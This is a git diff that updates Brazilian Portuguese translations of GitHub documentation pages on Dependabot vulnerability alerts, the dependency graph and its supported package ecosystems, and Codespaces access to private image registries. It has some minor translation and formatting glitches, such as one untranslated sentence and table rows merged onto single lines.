-- "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"
-- "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)"
-- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"{% ifversion fpt or ghec or ghes > 3.2 %}
-- "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %}
+- "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"
+- "[Visualizar e atualizar dependências vulneráveis no seu repositório](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)"
+- "[Gerenciar as configurações de segurança e análise do repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"{% ifversion fpt or ghec or ghes > 3.2 %}
+- "[Solucionar problemas de {% data variables.product.prodname_dependabot %}](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %}
diff --git a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md
index c2a6b0c128..8c2421d757 100644
--- a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md
+++ b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md
@@ -1,12 +1,12 @@
 ---
-title: Viewing and updating vulnerable dependencies in your repository
-intro: 'If {% data variables.product.product_name %} discovers vulnerable dependencies in your project, you can view them on the Dependabot alerts tab of your repository. Then, you can update your project to resolve or dismiss the vulnerability.'
+title: Exibir e atualizar dependências vulneráveis no repositório
+intro: 'Se o {% data variables.product.product_name %} descobrir dependências vulneráveis no seu projeto, você poderá visualizá-las na aba de alertas do Dependabot no seu repositório. Em seguida, você pode atualizar seu projeto para resolver ou descartar a vulnerabilidade.'
 redirect_from:
   - /articles/viewing-and-updating-vulnerable-dependencies-in-your-repository
   - /github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository
   - /code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository
 permissions: Repository administrators and organization owners can view and update dependencies.
-shortTitle: View vulnerable dependencies
+shortTitle: Visualizar as dependências vulneráveis
 versions:
   fpt: '*'
   ghes: '*'
@@ -25,60 +25,53 @@ topics:
 {% data reusables.dependabot.beta-security-and-version-updates %}
 {% data reusables.dependabot.enterprise-enable-dependabot %}
 
-Your repository's  {% data variables.product.prodname_dependabot_alerts %} tab lists all open and closed {% data variables.product.prodname_dependabot_alerts %}{% ifversion fpt or ghec or ghes > 3.2 %} and corresponding {% data variables.product.prodname_dependabot_security_updates %}{% endif %}. You can sort the list of alerts by selecting the drop-down menu, and you can click into specific alerts for more details. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)."
+A aba de {% data variables.product.prodname_dependabot_alerts %} do seu repositório lista todos os {% data variables.product.prodname_dependabot_alerts %}{% ifversion fpt or ghec or ghes > 3.2 %} abertos e fechados correspondentes a {% data variables.product.prodname_dependabot_security_updates %}{% endif %}. Você pode ordenar a lista de alertas selecionando o menu suspenso e você pode clicar em alertas específicos para obter mais detalhes. Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
-You can enable automatic security updates for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)."
+É possível habilitar atualizações de segurança automáticas para qualquer repositório que usa o {% data variables.product.prodname_dependabot_alerts %} e o gráfico de dependências. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)."
 {% endif %}
 
 {% data reusables.repositories.dependency-review %}
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
-## About updates for vulnerable dependencies in your repository
+## Sobre atualizações para dependências vulneráveis no seu repositório
 
-{% data variables.product.product_name %} generates {% data variables.product.prodname_dependabot_alerts %} when we detect that your codebase is using dependencies with known vulnerabilities. For repositories where {% data variables.product.prodname_dependabot_security_updates %} are enabled, when {% data variables.product.product_name %} detects a vulnerable dependency in the default branch, {% data variables.product.prodname_dependabot %} creates a pull request to fix it. The pull request will upgrade the dependency to the minimum possible secure version needed to avoid the vulnerability.
+{% data variables.product.product_name %} gera {% data variables.product.prodname_dependabot_alerts %} quando detectamos que sua base de código está usando dependências com vulnerabilidades conhecidas. Para repositórios em que {% data variables.product.prodname_dependabot_security_updates %} estão habilitados, quando {% data variables.product.product_name %} detecta uma dependência vulnerável no branch padrão, {% data variables.product.prodname_dependabot %} cria um pull request para corrigi-la. O pull request irá atualizar a dependência para a versão minimamente segura possível, o que é necessário para evitar a vulnerabilidade.
 {% endif %}
 
-## Viewing and updating vulnerable dependencies
+## Visualizar e atualizar dependências vulneráveis
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-security %}
 {% data reusables.repositories.sidebar-dependabot-alerts %}
-1. Click the alert you'd like to view.
-  ![Alert selected in list of alerts](/assets/images/help/graphs/click-alert-in-alerts-list.png)
-1. Review the details of the vulnerability and, if available, the pull request containing the automated security update.
-1. Optionally, if there isn't already a {% data variables.product.prodname_dependabot_security_updates %} update for the alert, to create a pull request to resolve the vulnerability, click **Create {% data variables.product.prodname_dependabot %} security update**.
-  ![Create {% data variables.product.prodname_dependabot %} security update button](/assets/images/help/repository/create-dependabot-security-update-button.png)
-1. When you're ready to update your dependency and resolve the vulnerability, merge the pull request. Each pull request raised by {% data variables.product.prodname_dependabot %} includes information on commands you can use to control {% data variables.product.prodname_dependabot %}. For more information, see "[Managing pull requests for dependency updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands)."
-1. Optionally, if the alert is being fixed, if it's incorrect, or located in unused code, select the "Dismiss" drop-down, and click a reason for dismissing the alert.
-   ![Choosing reason for dismissing the alert via the "Dismiss" drop-down](/assets/images/help/repository/dependabot-alert-dismiss-drop-down.png)
+1. Clique no alerta que deseja exibir. ![Alerta selecionado na lista de alertas](/assets/images/help/graphs/click-alert-in-alerts-list.png)
+1. Revise as informações da vulnerabilidade e, se disponível, o pull request que contém a atualização de segurança automatizada.
+1. Opcionalmente, se ainda não houver uma atualização de {% data variables.product.prodname_dependabot_security_updates %} para o alerta, crie um pull request para resolver a vulnerabilidade. Clique em **Criar uma atualização de segurança de {% data variables.product.prodname_dependabot %}**. ![Crie um botão de atualização de segurança do {% data variables.product.prodname_dependabot %}](/assets/images/help/repository/create-dependabot-security-update-button.png)
+1. Quando estiver pronto para atualizar a dependência e resolver a vulnerabilidade, faça merge da pull request. Cada pull request criado por {% data variables.product.prodname_dependabot %} inclui informações sobre os comandos que você pode usar para controlar {% data variables.product.prodname_dependabot %}. Para obter mais informações, consulte "[Gerenciar pull requests para atualizações de dependências](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands)".
+1. Opcionalmente, se o alerta estiver sendo corrigido, se estiver incorreto, ou localizado em um código não utilizado, selecione o menu suspenso "Ignorar" e clique em um motivo para ignorar o alerta. ![Escolher o motivo para ignorar o alerta a partir do menu suspenso "Ignorar"down](/assets/images/help/repository/dependabot-alert-dismiss-drop-down.png)
 
 {% elsif ghes > 3.0 or ghae-issue-4864 %}
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-security %}
 {% data reusables.repositories.sidebar-dependabot-alerts %}
-1. Click the alert you'd like to view.
-  ![Alert selected in list of alerts](/assets/images/enterprise/graphs/click-alert-in-alerts-list.png)
-1. Review the details of the vulnerability and determine whether or not you need to update the dependency.
-1. When you merge a pull request that updates the manifest or lock file to a secure version of the dependency, this will resolve the alert. Alternatively, if you decide not to update the dependency, select the **Dismiss** drop-down, and click a reason for dismissing the alert.
-   ![Choosing reason for dismissing the alert via the "Dismiss" drop-down](/assets/images/enterprise/repository/dependabot-alert-dismiss-drop-down.png)
+1. Clique no alerta que deseja exibir. ![Alerta selecionado na lista de alertas](/assets/images/enterprise/graphs/click-alert-in-alerts-list.png)
+1. Revise os detalhes da vulnerabilidade e determine se você precisa atualizar a dependência.
+1. Ao fazer merge de um pull request que atualiza o manifesto ou arquivo de bloqueio para uma versão segura da dependência, isso resolverá o alerta. Como alternativa, se você decidir não atualizar a dependência, selecione a lista suspensa **Ignorar** e clique em um motivo para ignorar o alerta. ![Escolher o motivo para ignorar o alerta a partir do menu suspenso "Ignorar"down](/assets/images/enterprise/repository/dependabot-alert-dismiss-drop-down.png)
 
 {% else %}
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.accessing-repository-graphs %}
 {% data reusables.repositories.click-dependency-graph %}
-1. Click the version number of the vulnerable dependency to display detailed information.
-  ![Detailed information on the vulnerable dependency](/assets/images/enterprise/3.0/dependabot-alert-info.png)
-1. Review the details of the vulnerability and determine whether or not you need to update the dependency. When you merge a pull request that updates the manifest or lock file to a secure version of the dependency, this will resolve the alert.
-1. The banner at the top of the **Dependencies** tab is displayed until all the vulnerable dependencies are resolved or you dismiss it. Click **Dismiss** in the top right corner of the banner and select a reason for dismissing the alert.
-  ![Dismiss security banner](/assets/images/enterprise/3.0/dependabot-alert-dismiss.png)
+1. Clique no número da versão da dependência vulnerável para exibir informações detalhadas. ![Informações detalhadas sobre a dependência vulnerável](/assets/images/enterprise/3.0/dependabot-alert-info.png)
+1. Revise os detalhes da vulnerabilidade e determine se você precisa atualizar a dependência. Ao fazer merge de um pull request que atualiza o manifesto ou arquivo de bloqueio para uma versão segura da dependência, isso resolverá o alerta.
+1. O banner na parte superior da aba **Dependências** é exibido até que todas as dependências vulneráveis sejam resolvidas ou até que você o ignore. Clique em **Ignorar** no canto superior direito do banner e selecione uma razão para ignorar o alerta. ![Ignorar banner de segurança](/assets/images/enterprise/3.0/dependabot-alert-dismiss.png)
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %}
-- "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)"{% endif %}
-- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"
-- "[Troubleshooting the detection of vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %}
-- "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %}
+- "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %}
+- "[Configurar {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)"{% endif %}
+- "[Gerenciar as configurações de segurança e análise para o seu repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"
+- "[Solução de problemas na detecção de dependências vulneráveis](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %}
+- "[Solucionar problemas de {% data variables.product.prodname_dependabot %}](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %}
diff --git a/translations/pt-BR/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md b/translations/pt-BR/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md
index 14ea4e4b20..b859fe9646 100644
--- a/translations/pt-BR/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md
+++ b/translations/pt-BR/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md
@@ -1,6 +1,6 @@
 ---
-title: About the dependency graph
-intro: You can use the dependency graph to identify all your project's dependencies. The dependency graph supports a range of popular package ecosystems.
+title: Sobre o gráfico de dependências
+intro: Você pode usar o gráfico de dependências para identificar todas as dependências do seu projeto. O gráfico de dependências é compatível com uma série de ecossistemas de pacotes populares.
 redirect_from:
   - /github/visualizing-repository-data-with-graphs/about-the-dependency-graph
   - /code-security/supply-chain-security/about-the-dependency-graph
@@ -14,92 +14,89 @@ topics:
   - Dependency graph
   - Dependencies
   - Repositories
-shortTitle: Dependency graph
+shortTitle: Gráfico de dependências
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/visualizing-repository-data-with-graphs-->
 <!--Marketing-LINK: From /features/security and /features/security/software-supply-chain pages "How GitHub's dependency graph is generated".-->
 
-## Dependency graph availability
+## Disponibilidade do gráfico de dependências
 
-{% ifversion fpt or ghec %}The dependency graph is available for every public repository that defines dependencies in a supported package ecosystem using a supported file format. Repository administrators can also set up the dependency graph for private repositories.{% endif %}
+{% ifversion fpt or ghec %}O gráfico de dependências está disponível para cada repositório público que define as dependências em um ecossistema de pacote compatível usando um formato de arquivo compatível. Os administradores de repositórios também podem configurar o gráfico de dependências para repositórios privados.{% endif %}
 
 {% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %}
 
-## About the dependency graph
+## Sobre o gráfico de dependências
 
-The dependency graph is a summary of the manifest and lock files stored in a repository. For each repository, it shows{% ifversion fpt or ghec %}:
+O gráfico de dependências é um resumo do manifesto e bloqueia arquivos armazenados em um repositório. Para cada repositório, ele mostra{% ifversion fpt or ghec %}:
 
-- Dependencies, the ecosystems and packages it depends on
-- Dependents, the repositories and packages that depend on it{% else %} dependencies, that is, the ecosystems and packages it depends on. {% data variables.product.product_name %} does not calculate information about dependents, the repositories and packages that depend on a repository.{% endif %}
+- As dependências, os ecossistemas e os pacotes do qual depende
+- Dependentes, os repositórios e pacotes que dependem dele{% else %} dependências, isto é, os ecossistemas e pacotes de que ele depende. O {% data variables.product.product_name %} não calcula informações sobre dependentes, repositórios e pacotes que dependem de um repositório.{% endif %}
 
-When you push a commit to {% data variables.product.product_name %} that changes or adds a supported manifest or lock file to the default branch, the dependency graph is automatically updated.{% ifversion fpt or ghec %} In addition, the graph is updated when anyone pushes a change to the repository of one of your dependencies.{% endif %} For information on the supported ecosystems and manifest files, see "[Supported package ecosystems](#supported-package-ecosystems)" below.
+Ao fazer push de um commit para o {% data variables.product.product_name %}, que muda ou adiciona um manifesto compatível ou um arquivo de bloqueio para o branch-padrão, o gráfico de dependências será atualizado automaticamente.{% ifversion fpt or ghec %} Além disso, o gráfico é atualizado quando alguém faz push de uma alteração no repositório de uma de suas dependências.{% endif %} Para obter informações sobre os ecossistemas compatíveis e arquivos de manifesto, consulte "[ecossistemas de pacotes compatíveis](#supported-package-ecosystems)" abaixo.
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-When you create a pull request containing changes to dependencies that targets the default branch, {% data variables.product.prodname_dotcom %} uses the dependency graph to add dependency reviews to the pull request. These indicate whether the dependencies contain vulnerabilities and, if so, the version of the dependency in which the vulnerability was fixed. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)."
+Ao criar um pull request que contém alterações para dependências direcionadas ao branch padrão, {% data variables.product.prodname_dotcom %} usará o gráfico de dependências para adicionar revisões de dependências ao pull request. Eles indicam se as dependências contêm vulnerabilidades e, em caso afirmativo, a versão da dependência na qual a vulnerabilidade foi corrigida. Para obter mais informações, consulte "[Sobre a revisão de dependências](/code-security/supply-chain-security/about-dependency-review)".
 {% endif %}
 
-## Dependencies included
+## Dependências incluídas
 
-The dependency graph includes all the dependencies of a repository that are detailed in the manifest and lock files, or their equivalent, for supported ecosystems. This includes:
+O gráfico de dependências inclui todas as dependências de um repositório detalhadas nos arquivos de manifesto e de bloqueio ou seu equivalente para ecossistemas compatíveis. Isto inclui:
 
-- Direct dependencies, that are explicitly defined in a manifest or lock file
-- Indirect dependencies of these direct dependencies, also known as transitive dependencies or sub-dependencies
+- Dependências diretas, que são definidas explicitamente em um manifesto ou arquivo de bloqueio
+- Dependências indiretas dessas dependências diretas, também conhecidas como dependências transitórias ou subdependências
 
-The dependency graph identifies indirect dependencies{% ifversion fpt or ghec %} either explicitly from a lock file or by checking the dependencies of your direct dependencies. For the most reliable graph, you should use lock files (or their equivalent) because they define exactly which versions of the direct and indirect dependencies you currently use. If you use lock files, you also ensure that all contributors to the repository are using the same versions, which will make it easier for you to test and debug code{% else %} from the lock files{% endif %}.
+O gráfico de dependências identifica as dependências indiretas{% ifversion fpt or ghec %} explicitamente a partir de um arquivo de bloqueio ou verificando as dependências das suas dependências diretas. Para o gráfico mais confiável, você deve usar os arquivos de bloqueio (ou o equivalente deles), pois definem exatamente quais versões das dependências diretas e indiretas você usa atualmente. Se você usar arquivos de bloqueio, você também terá certeza de que todos os contribuidores do repositório usarão as mesmas versões, o que facilitará para você testar e depurar o código{% else %} dos arquivos de bloqueio{% endif %}.
 
 {% ifversion fpt or ghec %}
-## Dependents included
+## Dependentes incluídos
 
-For public repositories, only public repositories that depend on it or on packages that it publishes are reported. This information is not reported for private repositories.{% endif %}
+Para repositórios públicos, apenas repositórios públicos que dependem dele ou de pacotes que publica são relatados. Essas informações não foram relatadas para repositórios privados.{% endif %}
 
-## Using the dependency graph
+## Usar o gráfico de dependências
 
-You can use the dependency graph to:
+Você pode usar o gráfico de dependências para:
 
-- Explore the repositories your code depends on{% ifversion fpt or ghec %}, and those that depend on it{% endif %}. For more information, see "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)." {% ifversion fpt or ghec %}
-- View a summary of the dependencies used in your organization's repositories in a single dashboard. For more information, see "[Viewing insights for your organization](/articles/viewing-insights-for-your-organization#viewing-organization-dependency-insights)."{% endif %}
-- View and update vulnerable dependencies for your repository. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)."{% ifversion fpt or ghes > 3.1 or ghec %}
-- See information about vulnerable dependencies in pull requests. For more information, see "[Reviewing dependency changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)."{% endif %}
+- Explorar os repositórios dos quais o seu código depende{% ifversion fpt or ghec %} e aqueles que dependem dele{% endif %}. Para obter mais informações, consulte "[Explorar as dependências de um repositório](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)". {% ifversion fpt or ghec %}
+- Visualizar um resumo das dependências usadas nos repositórios da sua organização em um único painel. Para obter mais informações, consulte "[Visualizar informações na organização](/articles/viewing-insights-for-your-organization#viewing-organization-dependency-insights)".{% endif %}
+- Ver e atualizar dependências vulneráveis no seu repositório. Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)". {% ifversion fpt or ghes > 3.1 or ghec %}
+- Veja as informações sobre dependências vulneráveis em pull requests. Para obter mais informações, consulte "[Revisar as alterações de dependências em um pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)".{% endif %}
 
-## Enabling the dependency graph
+## Habilitar o gráfico de dependências
 
-{% ifversion fpt or ghec %}To generate a dependency graph, {% data variables.product.product_name %} needs read-only access to the dependency manifest and lock files for a repository. The dependency graph is automatically generated for all public repositories and you can choose to enable it for private repositories. For information about enabling or disabling it for private repositories, see "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)."{% endif %}
+{% ifversion fpt or ghec %}Para gerar um gráfico de dependência, o {% data variables.product.product_name %} precisa de acesso somente leitura ao manifesto dependência e aos arquivos de bloqueio em um repositório. O gráfico de dependências é gerado automaticamente para todos os repositórios públicos e você pode optar por habilitá-lo para repositórios privados. For information about enabling or disabling it for private repositories, see "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)."{% endif %}
 
-{% ifversion ghes or ghae %}If the dependency graph is not available in your system, your enterprise owner can enable the dependency graph and {% data variables.product.prodname_dependabot_alerts %}. For more information, see  "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)."{% endif %}
+{% ifversion ghes or ghae %}Se o gráfico de dependências não estiver disponível no seu sistema, o proprietário da empresa poderá habilitar o gráfico de dependências e {% data variables.product.prodname_dependabot_alerts %}. Para obter mais informações, consulte[Habilitando o gráfico de dependências e {% data variables.product.prodname_dependabot_alerts %} na sua conta corporativa](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)."{% endif %}
 
-When the dependency graph is first enabled, any manifest and lock files for supported ecosystems are parsed immediately. The graph is usually populated within minutes but this may take longer for repositories with many dependencies. Once enabled, the graph is automatically updated with every push to the repository{% ifversion fpt or ghec %} and every push to other repositories in the graph{% endif %}.
+Quando o gráfico de dependências é ativado pela primeira vez, todos manifesto e arquivos de bloqueio para ecossistemas suportados são analisados imediatamente. O gráfico geralmente é preenchido em minutos, mas isso pode levar mais tempo para repositórios com muitas dependências. Uma vez habilitado, o gráfico é atualizado automaticamente a cada push no repositório{% ifversion fpt or ghec %} e a cada push para outros repositórios no gráfico{% endif %}.
 
-## Supported package ecosystems
+## Ecossistemas de pacote compatíveis
 
-The recommended formats explicitly define which versions are used for all direct and all indirect dependencies. If you use these formats, your dependency graph is more accurate. It also reflects the current build set up and enables the dependency graph to report vulnerabilities in both direct and indirect dependencies.{% ifversion fpt or ghec %} Indirect dependencies that are inferred from a manifest file (or equivalent) are excluded from the checks for vulnerable dependencies.{% endif %}
+Os formatos recomendados definem explicitamente quais versões são usadas para todas as dependências diretas e indiretas. Se você usar esses formatos, seu gráfico de dependências será mais preciso. Ele também reflete a configuração da criação atual e permite que o gráfico de dependências relate vulnerabilidades em dependências diretas e indiretas.{% ifversion fpt or ghec %} As dependências indiretas, inferidas a partir de um arquivo de manifesto (ou equivalente), são excluídas das verificações de dependências vulneráveis.{% endif %}
 
-| Package manager | Languages | Recommended formats | All supported formats |
-| --- | --- | --- | ---|
-| Composer             | PHP           | `composer.lock` | `composer.json`, `composer.lock` |
-| `dotnet` CLI | .NET languages (C#, C++, F#, VB)  |   `.csproj`, `.vbproj`, `.nuspec`, `.vcxproj`, `.fsproj` |  `.csproj`, `.vbproj`, `.nuspec`, `.vcxproj`, `.fsproj`, `packages.config` |
+| Gerenciador de pacotes | Idiomas                          | Formatos recomendados                                  | Todos os formatos compatíveis                                             |
+| ---------------------- | -------------------------------- | ------------------------------------------------------ | ------------------------------------------------------------------------- |
+| Composer               | PHP                              | `composer.lock`                                        | `composer.json`, `composer.lock`                                          |
+| `dotnet` CLI           | .NET languages (C#, C++, F#, VB) | `.csproj`, `.vbproj`, `.nuspec`, `.vcxproj`, `.fsproj` | `.csproj`, `.vbproj`, `.nuspec`, `.vcxproj`, `.fsproj`, `packages.config` |
 {%- ifversion fpt or ghes > 3.2 or ghae %}
 | Go modules | Go | `go.sum` | `go.mod`, `go.sum` |
 {%- elsif ghes = 3.2 %}
 | Go modules | Go | `go.mod` | `go.mod` |
 {%- endif %}
-| Maven | Java, Scala |  `pom.xml`  | `pom.xml`  |
-| npm | JavaScript |            `package-lock.json` | `package-lock.json`, `package.json`|
-| Python PIP      | Python                    | `requirements.txt`, `pipfile.lock` | `requirements.txt`, `pipfile`, `pipfile.lock`, `setup.py`* |
+| Maven | Java, Scala |  `pom.xml`  | `pom.xml`  | | npm | JavaScript |            `package-lock.json` | `package-lock.json`, `package.json`| | Python PIP      | Python                    | `requirements.txt`, `pipfile.lock` | `requirements.txt`, `pipfile`, `pipfile.lock`, `setup.py`* |
 {%- ifversion fpt or ghes > 3.3 %}
-| Python Poetry | Python                    | `poetry.lock` | `poetry.lock`, `pyproject.toml` |{% endif %}
-| RubyGems             | Ruby           | `Gemfile.lock` | `Gemfile.lock`, `Gemfile`, `*.gemspec` |
-| Yarn | JavaScript | `yarn.lock` | `package.json`, `yarn.lock` |
+| Python Poetry | Python                    | `poetry.lock` | `poetry.lock`, `pyproject.toml` |{% endif %} | RubyGems             | Ruby           | `Gemfile.lock` | `Gemfile.lock`, `Gemfile`, `*.gemspec` | | Yarn | JavaScript | `yarn.lock` | `package.json`, `yarn.lock` |
 
 {% note %}
 
-**Note:** If you list your Python dependencies within a `setup.py` file, we may not be able to parse and list every dependency in your project.
+**Observação:** se você listar suas dependências de Python em um arquivo `setup.py`, será provável que não possamos analisar e listar cada dependência no seu projeto.
 
 {% endnote %}
 
-## Further reading
+## Leia mais
 
-- "[Dependency graph](https://en.wikipedia.org/wiki/Dependency_graph)" on Wikipedia
-- "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)"{% ifversion fpt or ghec %}
-- "[Viewing insights for your organization](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization)"{% endif %}
-- "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)"
-- "[Troubleshooting the detection of vulnerable dependencies](/github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies)"
+- "[Gráfico de dependências](https://en.wikipedia.org/wiki/Dependency_graph)" na Wikipedia
+- "[Explorar as dependências de um repositório](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)"{% ifversion fpt or ghec %}
+- "[Visualizar informações da sua organização](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization)"{% endif %}
+- "[Visualizar e atualizar dependências vulneráveis no seu repositório](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)"
+- "[Solução de problemas na detecção de dependências vulneráveis](/github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies)"
diff --git a/translations/pt-BR/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md b/translations/pt-BR/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md
index 7130649af7..5cff78a575 100644
--- a/translations/pt-BR/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md
+++ b/translations/pt-BR/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md
@@ -1,72 +1,72 @@
 ---
-title: Allowing your codespace to access a private image registry
-intro: 'You can use secrets to allow {% data variables.product.prodname_codespaces %} to access a private image registry'
+title: Permitir que seu codespace acesse um registro de imagens privadas
+intro: 'Você pode usar segredos para permitir que {% data variables.product.prodname_codespaces %} acesse um registro de imagens privada'
 versions:
   fpt: '*'
   ghec: '*'
 topics:
   - Codespaces
 product: '{% data reusables.gated-features.codespaces %}'
-shortTitle: Private image registry
+shortTitle: Registro de imagem privada
 ---
 
-## About private image registries and {% data variables.product.prodname_codespaces %}
+## Sobre registros de imagens privadas e {% data variables.product.prodname_codespaces %}
 
-A registry is a secure space for storing, managing, and fetching private container images. You may use one to store one or more devcontainers. There are many examples of registries, such as {% data variables.product.prodname_dotcom %} Container Registry, Azure Container Registry, or DockerHub.
+Um registro é um espaço seguro para armazenar, gerenciar e buscar imagens privadas de contêineres. Você pode usar um para armazenar um ou mais devcontainers. Existem muitos exemplos de registros, como {% data variables.product.prodname_dotcom %} registro do contêiner, registro de contêiner do Azure ou DockerHub.
 
-{% data variables.product.prodname_dotcom %} Container Registry can be configured to pull container images seamlessly, without having to provide any authentication credentials to {% data variables.product.prodname_codespaces %}. For other image registries, you must create secrets in {% data variables.product.prodname_dotcom %} to store the access details, which will allow {% data variables.product.prodname_codespaces %} to access images stored in that registry.
+O registro do contêiner de {% data variables.product.prodname_dotcom %} pode ser configurado para puxar imagens container sem precisar fornecer qualquer credencial para {% data variables.product.prodname_codespaces %}. Para outros registros de imagem, você deve criar segredos em {% data variables.product.prodname_dotcom %} para armazenar os detalhes de acesso, o que permitirá que {% data variables.product.prodname_codespaces %} acesse imagens armazenadas nesse registro.
 
-## Accessing images stored in {% data variables.product.prodname_dotcom %} Container Registry
+## Acessando imagens armazenadas no registro do contêiner de {% data variables.product.prodname_dotcom %}
 
-{% data variables.product.prodname_dotcom %} Container Registry is the easiest way for {% data variables.product.prodname_github_codespaces %} to consume devcontainer container images.
+O registro de contêiner de {% data variables.product.prodname_dotcom %} é a maneira mais fácil de {% data variables.product.prodname_github_codespaces %} de consumir imagens de contêiner de desenvolvimento.
 
-For more information, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)".
